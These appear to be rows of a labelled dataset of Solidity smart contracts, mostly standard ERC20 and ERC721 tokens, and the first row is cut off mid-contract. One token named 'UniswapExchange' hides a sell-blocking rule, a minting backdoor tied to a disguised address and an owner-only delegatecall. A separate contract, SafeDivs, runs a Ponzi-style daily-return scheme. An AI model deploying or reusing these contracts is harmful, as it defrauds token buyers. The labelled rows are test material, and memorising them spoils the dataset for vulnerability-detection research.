OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract MBYZCoin is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function MBYZCoin() public {
symbol = "MBYZ";
name = "MBYZ Coin";
decimals = 18;
_totalSupply = 400000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,275 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library SDDatasets {
struct Player {
address addr;
uint256 invested;
uint256 atBlock;
uint256 payEth;
uint256 aff;
uint256 laff;
uint256 aff1sum;
uint256 aff2sum;
uint256 aff3sum;
uint256 aff4sum;
}
}
contract SafeDivs {
using SafeMath for *;
address public devAddr_ = address(0xe6CE2a354a0BF26B5b383015B7E61701F6adb39C);
address public affiAddr_ = address(0x08F521636a2B117B554d04dc9E54fa4061161859);
address public partnerAddr_ = address(0x08962cDCe053e2cE92daE22F3dE7538F40dAEFC2);
bool public activated_ = false;
modifier isActivated() {
require(activated_ == true, "its not active yet.");
_;
}
function activate() isAdmin() public {
require(address(devAddr_) != address(0x0), "Must setup devAddr_.");
require(address(partnerAddr_) != address(0x0), "Must setup partnerAddr_.");
require(address(affiAddr_) != address(0x0), "Must setup affiAddr_.");
require(activated_ == false, "Only once");
activated_ = true ;
}
mapping(address => uint256) private g_users ;
function initUsers() private {
g_users[msg.sender] = 9 ;
uint256 pId = G_NowUserId;
pIDxAddr_[msg.sender] = pId;
player_[pId].addr = msg.sender;
}
modifier isAdmin() {
uint256 role = g_users[msg.sender];
require((role==9), "Must be admin.");
_;
}
uint256 public G_NowUserId = 1000;
uint256 public G_AllEth = 0;
mapping (address => uint256) public pIDxAddr_;
mapping (uint256 => SDDatasets.Player) public player_;
function GetIdByAddr(address addr) public
view returns(uint256)
{
return pIDxAddr_[addr];
}
function GetPlayerById(uint256 uid) public
view returns(uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256)
{
SDDatasets.Player player = player_[uid];
return
(
player.invested,
player.atBlock,
player.payEth,
player.aff,
player.laff,
player.aff1sum,
player.aff2sum,
player.aff3sum,
player.aff4sum
);
}
constructor() public {
initUsers();
}
function register_(uint256 _affCode) private{
G_NowUserId = G_NowUserId.add(1);
address _addr = msg.sender;
pIDxAddr_[_addr] = G_NowUserId;
player_[G_NowUserId].addr = _addr;
player_[G_NowUserId].laff = _affCode;
uint256 _affID1 = _affCode;
uint256 _affID2 = player_[_affID1].laff;
uint256 _affID3 = player_[_affID2].laff;
uint256 _affID4 = player_[_affID3].laff;
player_[_affID1].aff1sum = player_[_affID1].aff1sum.add(1);
player_[_affID2].aff2sum = player_[_affID2].aff2sum.add(1);
player_[_affID3].aff3sum = player_[_affID3].aff3sum.add(1);
player_[_affID4].aff4sum = player_[_affID4].aff4sum.add(1);
}
function register(uint256 _affCode) public payable{
require(msg.value == 0, "registration fee is 0 ether, please set the exact amount");
require(_affCode != 0, "error aff code");
require(player_[_affCode].addr != address(0x0), "error aff code");
register_(_affCode);
}
function invest() public payable {
uint256 uid = pIDxAddr_[msg.sender];
if (uid == 0) {
register_(1000);
uid = G_NowUserId;
}
if (player_[uid].invested != 0) {
uint256 amount = player_[uid].invested * 3 / 100 * (block.number - player_[uid].atBlock) / 5900;
address sender = msg.sender;
sender.send(amount);
player_[uid].payEth += amount;
}
G_AllEth = G_AllEth.add(msg.value);
player_[uid].atBlock = block.number;
player_[uid].invested += msg.value;
if (msg.value > 1000000000) {
distributeRef(msg.value, player_[uid].laff);
uint256 devFee = (msg.value.mul(2)).div(100);
devAddr_.transfer(devFee);
uint256 partnerFee = (msg.value.mul(2)).div(100);
partnerAddr_.transfer(partnerFee);
}
}
function () isActivated() external payable {
invest();
}
function distributeRef(uint256 _eth, uint256 _affID) private{
uint256 _allaff = (_eth.mul(16)).div(100);
uint256 _affID1 = _affID;
uint256 _affID2 = player_[_affID1].laff;
uint256 _affID3 = player_[_affID2].laff;
uint256 _affID4 = player_[_affID3].laff;
uint256 _aff = 0;
if (_affID1 != 0) {
_aff = (_eth.mul(10)).div(100);
_allaff = _allaff.sub(_aff);
player_[_affID1].aff = _aff.add(player_[_affID1].aff);
player_[_affID1].addr.transfer(_aff);
}
if (_affID2 != 0) {
_aff = (_eth.mul(3)).div(100);
_allaff = _allaff.sub(_aff);
player_[_affID2].aff = _aff.add(player_[_affID2].aff);
player_[_affID2].addr.transfer(_aff);
}
if (_affID3 != 0) {
_aff = (_eth.mul(2)).div(100);
_allaff = _allaff.sub(_aff);
player_[_affID3].aff = _aff.add(player_[_affID3].aff);
player_[_affID3].addr.transfer(_aff);
}
if (_affID4 != 0) {
_aff = (_eth.mul(1)).div(100);
_allaff = _allaff.sub(_aff);
player_[_affID4].aff = _aff.add(player_[_affID4].aff);
player_[_affID4].addr.transfer(_aff);
}
if(_allaff > 0 ){
affiAddr_.transfer(_allaff);
}
}
} | 0 | 2,020 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "World System Money";
string public constant TOKEN_SYMBOL = "WSM";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x70a444d97A0562c707149C5725aD79FFbd8CB9ff;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x70a444d97a0562c707149c5725ad79ffbd8cb9ff)];
uint[1] memory amounts = [uint(100000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 5,530 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,956 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract AccessControl is Ownable{
address CFO;
modifier onlyCFO{
require(msg.sender == CFO);
_;
}
function setCFO(address _newCFO)public onlyOwner {
CFO = _newCFO;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract TrustedContractControl is Ownable{
using AddressUtils for address;
mapping (address => bool) public trustedContractList;
modifier onlyTrustedContract(address _contractAddress) {
require(trustedContractList[_contractAddress]);
_;
}
event AddTrustedContract(address contractAddress);
event RemoveTrustedContract(address contractAddress);
function addTrustedContracts(address[] _contractAddress) onlyOwner public {
for(uint i=0; i<_contractAddress.length; i++) {
require(addTrustedContract(_contractAddress[i]));
}
}
function addTrustedContract(address _contractAddress) onlyOwner public returns (bool){
require(!trustedContractList[_contractAddress]);
require(_contractAddress.isContract());
trustedContractList[_contractAddress] = true;
emit AddTrustedContract(_contractAddress);
return true;
}
function removeTrustedContract(address _contractAddress) onlyOwner public {
require(trustedContractList[_contractAddress]);
trustedContractList[_contractAddress] = false;
emit RemoveTrustedContract(_contractAddress);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Serialize {
using SafeMath for uint256;
function addAddress(uint _offst, bytes memory _output, address _input) internal pure returns(uint _offset) {
assembly {
mstore(add(_output, _offst), _input)
}
return _offst.sub(20);
}
function addUint(uint _offst, bytes memory _output, uint _input) internal pure returns (uint _offset) {
assembly {
mstore(add(_output, _offst), _input)
}
return _offst.sub(32);
}
function addUint8(uint _offst, bytes memory _output, uint _input) internal pure returns (uint _offset) {
assembly {
mstore(add(_output, _offst), _input)
}
return _offst.sub(1);
}
function addUint16(uint _offst, bytes memory _output, uint _input) internal pure returns (uint _offset) {
assembly {
mstore(add(_output, _offst), _input)
}
return _offst.sub(2);
}
function addUint64(uint _offst, bytes memory _output, uint _input) internal pure returns (uint _offset) {
assembly {
mstore(add(_output, _offst), _input)
}
return _offst.sub(8);
}
function getAddress(uint _offst, bytes memory _input) internal pure returns (address _output, uint _offset) {
assembly {
_output := mload(add(_input, _offst))
}
return (_output, _offst.sub(20));
}
function getUint(uint _offst, bytes memory _input) internal pure returns (uint _output, uint _offset) {
assembly {
_output := mload(add(_input, _offst))
}
return (_output, _offst.sub(32));
}
function getUint8(uint _offst, bytes memory _input) internal pure returns (uint8 _output, uint _offset) {
assembly {
_output := mload(add(_input, _offst))
}
return (_output, _offst.sub(1));
}
function getUint16(uint _offst, bytes memory _input) internal pure returns (uint16 _output, uint _offset) {
assembly {
_output := mload(add(_input, _offst))
}
return (_output, _offst.sub(2));
}
function getUint64(uint _offst, bytes memory _input) internal pure returns (uint64 _output, uint _offset) {
assembly {
_output := mload(add(_input, _offst))
}
return (_output, _offst.sub(8));
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
contract ERC721BasicToken is ERC721Basic, Pausable {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
